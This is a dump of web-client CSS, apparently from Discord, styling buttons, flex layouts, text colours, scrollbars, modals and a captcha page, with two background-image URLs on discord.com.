.theme-light .theme-dark .lookInverted-2D7oAl.hoverGrey-2CBXu0.hasHover-3X1-zV:active, .theme-light .theme-light .lookInverted-2D7oAl.hoverGrey-2CBXu0.hasHover-3X1-zV:active { color: rgb(116, 127, 141); background-color: rgb(227, 229, 232); }

.theme-light .theme-dark .lookOutlined-3sRXeN.hoverGrey-2CBXu0.hasHover-3X1-zV:hover, .theme-light .theme-light .lookOutlined-3sRXeN.hoverGrey-2CBXu0.hasHover-3X1-zV:hover { color: rgb(116, 127, 141); border-color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookOutlined-3sRXeN.hoverGrey-2CBXu0.hasHover-3X1-zV:active, .theme-light .theme-light .lookOutlined-3sRXeN.hoverGrey-2CBXu0.hasHover-3X1-zV:active { color: rgb(116, 127, 141); background-color: rgba(116, 127, 141, 0.1); border-color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookLink-9FtZy-.hoverGrey-2CBXu0.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .theme-light .lookLink-9FtZy-.hoverGrey-2CBXu0.hasHover-3X1-zV:hover .contents-18-Yxp { color: rgb(116, 127, 141); background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(116, 127, 141) 0px, rgb(116, 127, 141) 2px, transparent 0px); }

.theme-light .borderPrimary-2uDO4f { border-color: rgb(116, 127, 141) !important; }

.theme-light .lookFilled-1Gx00P.colorPrimary-3b3xI6 { color: rgb(255, 255, 255); background-color: rgb(116, 127, 141); }

.theme-light .lookFilled-1Gx00P.colorPrimary-3b3xI6:hover { background-color: rgb(144, 153, 164); }

.theme-light .lookFilled-1Gx00P.colorPrimary-3b3xI6:active { background-color: rgb(227, 229, 232); }

.theme-light .lookFilled-1Gx00P.colorPrimary-3b3xI6 .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.theme-light .lookFilled-1Gx00P.colorPrimary-3b3xI6:disabled { background-color: rgb(116, 127, 141); }

.theme-light .lookInverted-2D7oAl.colorPrimary-3b3xI6 { color: rgb(116, 127, 141); background-color: rgb(255, 255, 255); }

.theme-light .lookInverted-2D7oAl.colorPrimary-3b3xI6:hover { background-color: rgb(79, 86, 96); }

.theme-light .lookInverted-2D7oAl.colorPrimary-3b3xI6:active { background-color: rgb(46, 51, 56); }

.theme-light .lookInverted-2D7oAl.colorPrimary-3b3xI6:disabled { background-color: rgb(255, 255, 255); }

.theme-light .lookInverted-2D7oAl.colorPrimary-3b3xI6 .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .lookOutlined-3sRXeN.colorPrimary-3b3xI6 { color: rgb(116, 127, 141); border-color: rgb(116, 127, 141); }

.theme-light .lookOutlined-3sRXeN.colorPrimary-3b3xI6:active { background-color: rgba(116, 127, 141, 0.1); }

.theme-light .lookOutlined-3sRXeN.colorPrimary-3b3xI6:disabled { background-color: transparent; }

.theme-light .lookOutlined-3sRXeN.colorPrimary-3b3xI6 .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .lookLink-9FtZy-.colorPrimary-3b3xI6 { color: rgb(116, 127, 141); }

.theme-light .lookLink-9FtZy-.colorPrimary-3b3xI6:hover .contents-18-Yxp { background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(116, 127, 141) 0px, rgb(116, 127, 141) 2px, transparent 0px); }

.theme-light .lookLink-9FtZy-.colorPrimary-3b3xI6:disabled .contents-18-Yxp { background-image: none; }

.theme-light .lookLink-9FtZy-.colorPrimary-3b3xI6 .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookFilled-1Gx00P.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover, .theme-light .theme-light .lookFilled-1Gx00P.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover { background-color: rgb(116, 127, 141); color: rgb(255, 255, 255); }

.theme-light .theme-dark .lookFilled-1Gx00P.hoverPrimary-2D1j2r.hasHover-3X1-zV:active, .theme-light .theme-light .lookFilled-1Gx00P.hoverPrimary-2D1j2r.hasHover-3X1-zV:active { background-color: rgb(144, 153, 164); color: rgb(255, 255, 255); }

.theme-light .theme-dark .lookInverted-2D7oAl.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover, .theme-light .theme-light .lookInverted-2D7oAl.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover { color: rgb(116, 127, 141); background-color: rgb(79, 86, 96); }

.theme-light .theme-dark .lookInverted-2D7oAl.hoverPrimary-2D1j2r.hasHover-3X1-zV:active, .theme-light .theme-light .lookInverted-2D7oAl.hoverPrimary-2D1j2r.hasHover-3X1-zV:active { color: rgb(116, 127, 141); background-color: rgb(46, 51, 56); }

.theme-light .theme-dark .lookOutlined-3sRXeN.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover, .theme-light .theme-light .lookOutlined-3sRXeN.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover { color: rgb(116, 127, 141); border-color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookOutlined-3sRXeN.hoverPrimary-2D1j2r.hasHover-3X1-zV:active, .theme-light .theme-light .lookOutlined-3sRXeN.hoverPrimary-2D1j2r.hasHover-3X1-zV:active { color: rgb(116, 127, 141); background-color: rgba(116, 127, 141, 0.1); border-color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookLink-9FtZy-.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .theme-light .lookLink-9FtZy-.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover .contents-18-Yxp { color: rgb(116, 127, 141); background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(116, 127, 141) 0px, rgb(116, 127, 141) 2px, transparent 0px); }

.theme-light .borderTransparent-2nVGk5 { border-color: rgb(116, 127, 141) !important; }

.theme-light .lookFilled-1Gx00P.colorTransparent-1ewNp9 { color: rgb(116, 127, 141); background-color: rgba(116, 127, 141, 0.01); }

.theme-light .lookFilled-1Gx00P.colorTransparent-1ewNp9:hover { background-color: rgba(116, 127, 141, 0.2); }

.theme-light .lookFilled-1Gx00P.colorTransparent-1ewNp9:active { background-color: rgba(116, 127, 141, 0.25); }

.theme-light .lookFilled-1Gx00P.colorTransparent-1ewNp9 .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .lookFilled-1Gx00P.colorTransparent-1ewNp9:disabled { background-color: rgba(116, 127, 141, 0.01); }

.theme-light .lookInverted-2D7oAl.colorTransparent-1ewNp9 { color: rgba(116, 127, 141, 0.01); background-color: rgb(116, 127, 141); }

.theme-light .lookInverted-2D7oAl.colorTransparent-1ewNp9:hover { background-color: rgba(116, 127, 141, 0.2); }

.theme-light .lookInverted-2D7oAl.colorTransparent-1ewNp9:active { background-color: rgba(116, 127, 141, 0.25); }

.theme-light .lookInverted-2D7oAl.colorTransparent-1ewNp9:disabled { background-color: rgb(116, 127, 141); }

.theme-light .lookInverted-2D7oAl.colorTransparent-1ewNp9 .spinnerItem-3GlVyU { background-color: rgba(116, 127, 141, 0.01); }

.theme-light .lookOutlined-3sRXeN.colorTransparent-1ewNp9 { color: rgb(116, 127, 141); border-color: rgb(116, 127, 141); }

.theme-light .lookOutlined-3sRXeN.colorTransparent-1ewNp9:active { background-color: rgba(116, 127, 141, 0.1); }

.theme-light .lookOutlined-3sRXeN.colorTransparent-1ewNp9:disabled { background-color: transparent; }

.theme-light .lookOutlined-3sRXeN.colorTransparent-1ewNp9 .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .lookLink-9FtZy-.colorTransparent-1ewNp9 { color: rgb(116, 127, 141); }

.theme-light .lookLink-9FtZy-.colorTransparent-1ewNp9:hover .contents-18-Yxp { background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(116, 127, 141) 0px, rgb(116, 127, 141) 2px, transparent 0px); }

.theme-light .lookLink-9FtZy-.colorTransparent-1ewNp9:disabled .contents-18-Yxp { background-image: none; }

.theme-light .lookLink-9FtZy-.colorTransparent-1ewNp9 .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookFilled-1Gx00P.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover, .theme-light .theme-light .lookFilled-1Gx00P.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover { background-color: rgba(116, 127, 141, 0.01); color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookFilled-1Gx00P.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active, .theme-light .theme-light .lookFilled-1Gx00P.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active { background-color: rgba(116, 127, 141, 0.2); color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookInverted-2D7oAl.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover, .theme-light .theme-light .lookInverted-2D7oAl.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover { color: rgba(116, 127, 141, 0.01); background-color: rgba(116, 127, 141, 0.2); }

.theme-light .theme-dark .lookInverted-2D7oAl.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active, .theme-light .theme-light .lookInverted-2D7oAl.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active { color: rgba(116, 127, 141, 0.01); background-color: rgba(116, 127, 141, 0.25); }

.theme-light .theme-dark .lookOutlined-3sRXeN.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover, .theme-light .theme-light .lookOutlined-3sRXeN.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover { color: rgb(116, 127, 141); border-color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookOutlined-3sRXeN.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active, .theme-light .theme-light .lookOutlined-3sRXeN.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active { color: rgb(116, 127, 141); background-color: rgba(116, 127, 141, 0.1); border-color: rgba(116, 127, 141, 0.01); }

.theme-light .theme-dark .lookLink-9FtZy-.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .theme-light .lookLink-9FtZy-.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover .contents-18-Yxp { color: rgb(116, 127, 141); background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(116, 127, 141) 0px, rgb(116, 127, 141) 2px, transparent 0px); }

.lookFilled-1Gx00P, .lookInverted-2D7oAl { transition: background-color 0.17s ease 0s, color 0.17s ease 0s; }

.lookOutlined-3sRXeN { transition: color 0.17s ease 0s, background-color 0.17s ease 0s, border-color 0.17s ease 0s; border-width: 1px; border-style: solid; }

.lookBlank-3eh9lL { background: transparent; color: currentcolor; border: 0px; padding: 0px; margin: 0px; }

.sizeTiny-EgeIrh { width: 52px; height: 24px; min-width: 52px; min-height: 24px; }

.sizeSmall-2cSMqn { width: 60px; height: 32px; min-width: 60px; min-height: 32px; }

.sizeMedium-1AC_Sl { width: 96px; height: 38px; min-width: 96px; min-height: 38px; }

.sizeLarge-1vSeWK { width: 130px; height: 44px; min-width: 130px; min-height: 44px; }

.sizeXlarge-2yFAlZ { width: 148px; height: 50px; min-width: 148px; min-height: 50px; font-size: 16px; line-height: normal; padding: 2px 20px; }

.sizeMin-1mJd1x { display: inline; width: auto; height: auto; padding: 2px 4px; }

.sizeMax-1Mj0eU { width: 100%; height: 100%; min-width: 100%; min-height: 100%; font-size: 16px; }

.sizeIcon-1-kvKI { height: auto; padding: 4px; }

.grow-q77ONN, .sizeIcon-1-kvKI { width: auto; }

.fullWidth-1orjjo { width: 100%; }

.submitting-3qlO9O { pointer-events: none; }

.lookFilled-1Gx00P .contents-18-Yxp, .lookInverted-2D7oAl .contents-18-Yxp, .lookLink-9FtZy- .contents-18-Yxp, .lookOutlined-3sRXeN .contents-18-Yxp { margin: 0px auto; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.lookLink-9FtZy- { }

@media not all, not all {
  .lookFilled-1Gx00P .contents-18-Yxp, .lookInverted-2D7oAl .contents-18-Yxp, .lookLink-9FtZy- .contents-18-Yxp, .lookOutlined-3sRXeN .contents-18-Yxp { margin: 0px; }
}

.submitting-3qlO9O .contents-18-Yxp { visibility: hidden; }

.spinner-3a9zLT { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; margin: 0px; }

.disabledButtonWrapper-3wH6-b { display: inline-block; position: relative; }

.disabledButtonOverlay-2DA5FI { cursor: not-allowed; position: absolute; inset: 0px; z-index: 9; }

.container-2vhgEz { background-color: var(--background-primary); display: flex; position: relative; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; height: 100%; width: 100%; }

.logoContainer-2oll5D { position: absolute; top: 48px; left: 48px; color: var(--logo-primary); }

.closeButton-1jGESd { position: absolute; top: 48px; right: 48px; }

.content-1jf0rq { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; text-align: center; -webkit-box-align: center; align-items: center; min-width: 300px; color: var(--text-normal); }

.content-1jf0rq > :not(:last-child) { margin-bottom: 8px; }

.title-dHonOz { color: var(--header-primary); font-size: 24px; line-height: 30px; font-weight: 700; }

.captchaContainer-1t5zU- { margin-top: 8px; margin-bottom: 24px; }

.flex-1O1GKY { display: flex; }

.alignStart-H-X2h- { -webkit-box-align: start; align-items: flex-start; }

.alignEnd-1D6PQi { -webkit-box-align: end; align-items: flex-end; }

.alignCenter-1dQNNs { -webkit-box-align: center; align-items: center; }

.alignStretch-DpGPf3 { -webkit-box-align: stretch; align-items: stretch; }

.alignBaseline-LAQbso { -webkit-box-align: baseline; align-items: baseline; }

.justifyStart-2NDFzi { -webkit-box-pack: start; justify-content: flex-start; }

.justifyEnd-2E6vba { -webkit-box-pack: end; justify-content: flex-end; }

.justifyCenter-3D2jYp { -webkit-box-pack: center; justify-content: center; }

.justifyAround-1n1pnI { justify-content: space-around; }

.justifyBetween-2tTqYu { -webkit-box-pack: justify; justify-content: space-between; }

.noWrap-3jynv6 { flex-wrap: nowrap; }

.wrap-ZIn9Iy { flex-wrap: wrap; }

.wrapReverse-3ssEE3 { flex-wrap: wrap-reverse; }

.directionRow-3v3tfG { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.directionRowReverse-m8IjIq { -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; }

.directionColumn-35P_nr { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.spacer-1fA9zc { -webkit-box-flex: 1; flex: 1 1 0%; overflow: hidden; }

.vertical-V37hAW { }

.horizontal-2EEEnY { }

.horizontalReverse-3tRjY7 { }

.horizontal-2EEEnY > .spacer-1fA9zc, .horizontalReverse-3tRjY7 > .spacer-1fA9zc, .vertical-V37hAW > .spacer-1fA9zc { min-height: 1px; }

.flexCenter-3_1bcw { }

.flex-1xMQg5 { }

.horizontal-1ae9ci { }

.horizontalReverse-2eTKWD { }

.horizontal-1ae9ci > .flex-1xMQg5, .horizontal-1ae9ci > .flexChild-faoVW3 { margin-left: 10px; margin-right: 10px; }

.horizontal-1ae9ci > .flex-1xMQg5:first-child, .horizontal-1ae9ci > .flexChild-faoVW3:first-child { margin-left: 0px; }

.horizontal-1ae9ci > .flex-1xMQg5:last-child, .horizontal-1ae9ci > .flexChild-faoVW3:last-child { margin-right: 0px; }

.horizontalReverse-2eTKWD > .flex-1xMQg5, .horizontalReverse-2eTKWD > .flexChild-faoVW3 { margin-left: 10px; margin-right: 10px; }

.horizontalReverse-2eTKWD > .flex-1xMQg5:first-child, .horizontalReverse-2eTKWD > .flexChild-faoVW3:first-child { margin-right: 0px; }

.horizontalReverse-2eTKWD > .flex-1xMQg5:last-child, .horizontalReverse-2eTKWD > .flexChild-faoVW3:last-child { margin-left: 0px; }

.horizontal-1ae9ci > .flexMarginReset-26Y2-5 { margin: 0px; }

.selectable-2GY4I1 { user-select: text; }

.strong-1TazCs { font-weight: 600; }

.colorStandard-2KCXvj { color: var(--text-normal); }

.colorLink-2vG20E { color: var(--text-link); }

.colorMuted-HdFt4q { color: var(--text-muted); }

.colorError-3RX-d6 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.colorBrand-2tjs5J { color: var(--text-brand); }

.colorHeaderPrimary-26Jzh- { color: var(--header-primary); }

.colorHeaderSecondary-3Sp3Ft { color: var(--header-secondary); }

.colorStatusYellow-3sKKh2 { color: var(--text-warning); }

.colorStatusGreen-2saF4_ { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.colorStatusRed-1YV2rj { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.colorInteractiveActive-3Ip9Eu { color: var(--interactive-active); }

.colorInteractiveNormal-PB7JN3 { color: var(--interactive-normal); }

.size10-tblYdA { font-size: 10px; line-height: 12px; }

.size12-3cLvbJ { font-size: 12px; line-height: 16px; }

.size14-e6ZScH { font-size: 14px; line-height: 18px; }

.size16-1P40sf { font-size: 16px; line-height: 20px; }

.size20-17Iy80 { font-size: 20px; line-height: 24px; }

.size24-RIRrxO { font-size: 24px; line-height: 30px; }

.size32-o_H79z { font-size: 32px; line-height: 40px; }

.title-3sZWYQ { -webkit-box-flex: 1; flex: 1 1 0%; cursor: default; font-family: var(--font-display); }

.h1-1qdNzo { font-size: 20px; line-height: 24px; }

.h1-1qdNzo, .h2-2gWE-o { font-weight: 600; }

.h2-2gWE-o { font-size: 16px; line-height: 20px; text-transform: uppercase; }

.h3-3PDeKG { line-height: 24px; font-weight: 500; }

.h3-3PDeKG, .h4-AQvcAz { font-size: 16px; }

.h4-AQvcAz { line-height: 20px; letter-spacing: 0.3px; }

.h4-AQvcAz, .h5-18_1nd { font-weight: 600; text-transform: uppercase; }

.h5-18_1nd { font-size: 12px; line-height: 16px; }

.defaultMarginh4-2vWMG5 { margin-top: 0px; margin-bottom: 0px; }

.defaultMarginh1-peT3GC, .defaultMarginh2-2LTaUL { margin-bottom: 20px; }

.defaultMarginh3-2iptLs, .defaultMarginh5-2mL-bP { margin-bottom: 8px; }

.disabled-2Dh7SK { opacity: 0.5; cursor: not-allowed; }

.required-7sPBq3 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); padding-left: 4px; }

.errorMessage-3Guw2R { font-size: 12px; font-weight: 500; font-style: italic; text-transform: none; }

.errorSeparator-30Q6aR { padding-left: 4px; padding-right: 4px; }

.defaultColor-1_ajX0 { color: var(--header-primary); }

.h5-18_1nd { color: var(--header-secondary); }

.faded-3bns_w { opacity: 0.8; }

.error-25JxNp { color: var(--text-danger); }

.scrollerBase-289Jih { position: relative; box-sizing: border-box; min-height: 0px; -webkit-box-flex: 1; flex: 1 1 auto; }

.thin-1ybCId { }

.thin-1ybCId, .thin-1ybCId.fade-2kXiP2:hover, .thin-1ybCId.scrolling-1Cdwk- { }

.thin-1ybCId::-webkit-scrollbar { width: 8px; height: 8px; }

.thin-1ybCId::-webkit-scrollbar-track { background-color: var(--scrollbar-thin-track); border: 2px solid var(--scrollbar-thin-track); }

.thin-1ybCId::-webkit-scrollbar-thumb { background-clip: padding-box; border: 2px solid transparent; border-radius: 4px; background-color: var(--scrollbar-thin-thumb); min-height: 40px; }

.thin-1ybCId::-webkit-scrollbar-corner { background-color: transparent; }

.auto-Ge5KZx { }

.auto-Ge5KZx, .auto-Ge5KZx.fade-2kXiP2:hover, .auto-Ge5KZx.scrolling-1Cdwk- { }

.auto-Ge5KZx::-webkit-scrollbar { width: 16px; height: 16px; }

.auto-Ge5KZx::-webkit-scrollbar-track { background-color: var(--scrollbar-auto-track); }

.auto-Ge5KZx::-webkit-scrollbar-thumb, .auto-Ge5KZx::-webkit-scrollbar-track { border: 4px solid transparent; background-clip: padding-box; border-radius: 8px; }

.auto-Ge5KZx::-webkit-scrollbar-thumb { background-color: var(--scrollbar-auto-thumb); min-height: 40px; }

.auto-Ge5KZx::-webkit-scrollbar-corner { background-color: transparent; }

.none-2Eo-qx { }

.none-2Eo-qx::-webkit-scrollbar { width: 0px; height: 0px; }

.fade-2kXiP2 { }

.fade-2kXiP2::-webkit-scrollbar-thumb, .fade-2kXiP2::-webkit-scrollbar-track { visibility: hidden; }

.fade-2kXiP2:hover::-webkit-scrollbar-thumb, .fade-2kXiP2:hover::-webkit-scrollbar-track { visibility: visible; }

.content-3YMskv { position: relative; }

.scrolling-1Cdwk- .content-3YMskv { pointer-events: none; }

.scrolling-1Cdwk-.fade-2kXiP2::-webkit-scrollbar-thumb, .scrolling-1Cdwk-.fade-2kXiP2::-webkit-scrollbar-track { visibility: visible; }

.disableScrollAnchor-3V9UtP { overflow-anchor: none; }

.backdrop-1wrmKB { position: fixed; inset: 0px; transform: translateZ(0px); }

.backdrop-1wrmKB.withLayer-RoELSG { pointer-events: all; }

.backdrop-29yll0 { background-color: rgb(0, 0, 0); }

.backdrop-29yll0, .layer-2KE1M9 { position: absolute; inset: 0px; }

.layer-2KE1M9 { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; padding-top: 40px; padding-bottom: 40px; }

.hidden-3n5Ck8 * { pointer-events: none !important; }

.scrollbar-3dvm_9::-webkit-scrollbar-corner { border: none; background: none; }

.scrollbarDefault-3COgCQ { }

.scrollbarDefault-3COgCQ::-webkit-scrollbar { width: 14px; height: 14px; }

.scrollbarDefault-3COgCQ::-webkit-scrollbar-thumb, .scrollbarDefault-3COgCQ::-webkit-scrollbar-track { border-radius: 7px; background-clip: padding-box; border: 3px solid transparent; }

.scrollbarDefault-3COgCQ::-webkit-scrollbar-thumb { background-color: var(--scrollbar-auto-thumb); }

.scrollbarDefault-3COgCQ::-webkit-scrollbar-track { background-color: var(--scrollbar-auto-track); border-width: initial; }

.scrollbarGhost-2F9Zj2 { }

.scrollbarGhost-2F9Zj2::-webkit-scrollbar { width: 14px; height: 14px; }

.scrollbarGhost-2F9Zj2::-webkit-scrollbar-thumb, .scrollbarGhost-2F9Zj2::-webkit-scrollbar-track { border-width: 3px; border-radius: 7px; background-clip: padding-box; border-style: solid; }

.scrollbarGhost-2F9Zj2::-webkit-scrollbar-thumb { background-color: rgba(0, 0, 0, 0.4); border-color: transparent; }

.scrollbarGhost-2F9Zj2::-webkit-scrollbar-track { border-width: initial; border-color: transparent; background-color: rgba(0, 0, 0, 0.1); }

.scrollbarGhostHairline-1mSOM1 { }

.scrollbarGhostHairline-1mSOM1::-webkit-scrollbar { width: 4px; height: 4px; }

.scrollbarGhostHairline-1mSOM1::-webkit-scrollbar-thumb { background-color: rgba(24, 25, 28, 0.6); border-radius: 2px; cursor: move; }

.scrollbarGhostHairline-1mSOM1::-webkit-scrollbar-track { background-color: transparent; border: none; }

.wrapper-3Q5DdO { position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; overflow: hidden auto; z-index: 1; }

.rightSplit-2US0xy { position: fixed; bottom: 0px; right: 0px; width: auto; transition: opacity 0.4s ease 0s; opacity: 1; pointer-events: none; }

.embedded-19g94k { position: absolute; }

.leftSplit-1qOwnR { position: relative; width: 100vw; min-height: 100vh; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.nonEmbeddedLeftSplit-3z6mge { max-width: 1480px; }

.mobileWave-1vJwyR { position: fixed; left: 0px; top: 0px; width: 100vh; height: 100vh; background: url("https://discord.com/assets/45a73b117990bab4b99daa7fd456e50f.png") 0px 0px / cover no-repeat fixed; z-index: -1; pointer-events: none; }

.logo-2niOmb { position: relative; margin: 24px auto 0px; }

@media (min-width: 830px) {
  .logo-2niOmb { position: fixed; top: 24px; left: 24px; margin: 0px; }
}

.focusLock-Ns3yie { min-height: 0px; max-width: 100%; }

.focusLock-Ns3yie, .root-1gCeng { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.root-1gCeng { background-color: rgb(255, 255, 255); border-radius: 4px; margin: 0px auto; pointer-events: all; position: relative; max-height: 100%; }

.small-3iVZYw { width: 440px; max-height: 720px; min-height: 200px; }

.medium-2RE1hE { width: 600px; max-height: 800px; }

.large-3lXhLH, .medium-2RE1hE { min-height: 400px; }

.large-3lXhLH { min-width: 800px; max-width: 960px; }

@media (max-width: 485px) {
  .root-1gCeng { min-width: auto; width: 100%; }
  .fullscreenOnMobile-1bD22y { position: absolute; inset: 0px; border-radius: 0px; max-height: none; overflow-y: auto; width: 100%; }
  .fullscreenOnMobile-1bD22y .footer-2gL1pp, .fullscreenOnMobile-1bD22y .header-1TKi98 { border-radius: 0px; }
}

.theme-dark .root-1gCeng { background-color: rgb(54, 57, 63); box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-light .root-1gCeng { background: rgb(255, 255, 255); box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.footer-2gL1pp, .header-1TKi98 { position: relative; -webkit-box-flex: 0; flex: 0 0 auto; padding: 16px; z-index: 1; overflow-x: hidden; }

.header-1TKi98 { border-radius: 5px 5px 0px 0px; transition: box-shadow 0.1s ease-out 0s, -webkit-box-shadow 0.1s ease-out 0s; overflow-wrap: break-word; }

.footer-2gL1pp { border-radius: 0px 0px 5px 5px; }

.theme-dark .separator-2-RRj_ { box-shadow: rgba(24, 25, 28, 0.3) 0px 1px 0px 0px, rgba(24, 25, 28, 0.3) 0px 1px 2px 0px; }

.theme-dark .footer-2gL1pp { background-color: rgb(47, 49, 54); box-shadow: rgba(47, 49, 54, 0.6) 0px 1px 0px inset; }

.theme-light .separator-2-RRj_ { box-shadow: rgba(185, 187, 190, 0.3) 0px 1px 0px 0px; }

.theme-light .footer-2gL1pp { background-color: rgb(246, 246, 247); box-shadow: rgba(246, 246, 247, 0.6) 0px 1px 0px inset; }

.content-1LAB8Z { position: relative; z-index: 0; border-radius: 5px 5px 0px 0px; padding-left: 16px; padding-right: 16px; overflow-x: hidden; }

.close-hZ94c6 { height: 26px; padding: 4px; transition: opacity 0.2s ease-in-out 0s; opacity: 0.5; cursor: pointer; border-radius: 3px; color: var(--interactive-normal); box-sizing: content-box; }

.close-hZ94c6:hover { opacity: 1; color: var(--interactive-hover); }

.closeWithCircleBackground-2dPHRx { width: 24px; height: 24px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: rgba(0, 0, 0, 0.85); border-radius: 50%; padding: 0px; }

.closeWithCircleBackground-2dPHRx .closeIcon-150W3V { width: 16px; height: 16px; color: var(--interactive-normal); }

@media (max-width: 485px) {
  .hideOnFullscreen-9ibOM4 { display: none; }
}

.marginReset-236NPn { margin-top: 0px; margin-bottom: 0px; }

.marginTop4-2BNfKC { margin-top: 4px; }

.marginBottom4-2qk4Hy { margin-bottom: 4px; }

.marginTop8-1DLZ1n { margin-top: 8px; }

.marginBottom8-AtZOdT { margin-bottom: 8px; }

.marginTop20-3TxNs6 { margin-top: 20px; }

.marginBottom20-32qID7 { margin-bottom: 20px; }

.marginTop40-i-78cZ { margin-top: 40px; }

.marginBottom40-2vIwTv { margin-bottom: 40px; }

.marginTop60-3PGbtK { margin-top: 60px; }

.marginBottom60-Gs8NBA { margin-bottom: 60px; }

.marginCenterHorz-1s41rg { margin-left: auto; margin-right: auto; }

.marginLeft8-6V8lOs { margin-left: 8px; }

.container-14fypd { overflow-wrap: break-word; }

.form-26zE04 { height: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.modalContent-1T1Tix { padding-top: 20px; padding-bottom: 20px; }

.content-dfabe7 { height: 100%; }

.title-18-Ds0 { text-align: center; }

.minorContainer-Oi4S_y { -webkit-box-flex: 0; flex: 0 0 auto; margin-top: 8px; margin-bottom: -10px; width: 100%; cursor: pointer; }

.minorAction-OVxOke { text-align: center; opacity: 0.6; }

.minorAction-OVxOke:hover { text-decoration: underline; }

.body-Mj9Oxz { text-align: center; }

.primaryButton-2BsGPp, .secondaryButton-BIo-2g { -webkit-box-flex: 1; flex: 1 1 45%; }

.gutter-15v0rO { margin-left: 10px; }

.wrapper-1sSZUt { margin: 0px; }

.base-1x0h_U { font-weight: 600; color: var(--header-primary); }

.fontHeadline-3CnT7y { font-family: var(--font-headline); }

.fontDisplay-1dagSA { font-family: var(--font-display); }

.selectable-3oBWf0 { user-select: text; }

.base-1x0h_U.muted-3-7c5L { color: var(--header-secondary); }

.uppercase-3VWUQ9 { text-transform: uppercase; }

.fullArt-2zAZvG { margin: 38px 64px 20px; background: url("https://discord.com/assets/335c097a216b2d5a3d1e2660f54139e6.svg") 50% center no-repeat; width: 272px; height: 93px; }

.header-1X3-pa { text-transform: uppercase; }

.container-1rxwlY { display: flex; }

.sparkleIcon-30-odx { height: 12px; width: 12px; }

.sparkleTop-2XxWeK { align-self: flex-start; margin-right: auto; }

.sparkleBottom-KN5dmN { align-self: flex-end; margin-left: auto; }

.content-3JwLcx { padding-top: 24px; padding-bottom: 24px; }

.title-16zYnG { margin: 32px 0px 8px; }

.subtitle-3J-A3E, .title-16zYnG { text-align: center; }

.subtitle-3J-A3E { margin-top: 8px; }

.icon-11dtDJ { color: var(--interactive-active); }

.iconBackground-1k37qw { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 50%; height: 64px; width: 64px; }

.cancelButton-3tiCST { margin-right: 8px; }

.content-mK72R6 { padding-bottom: 20px; }

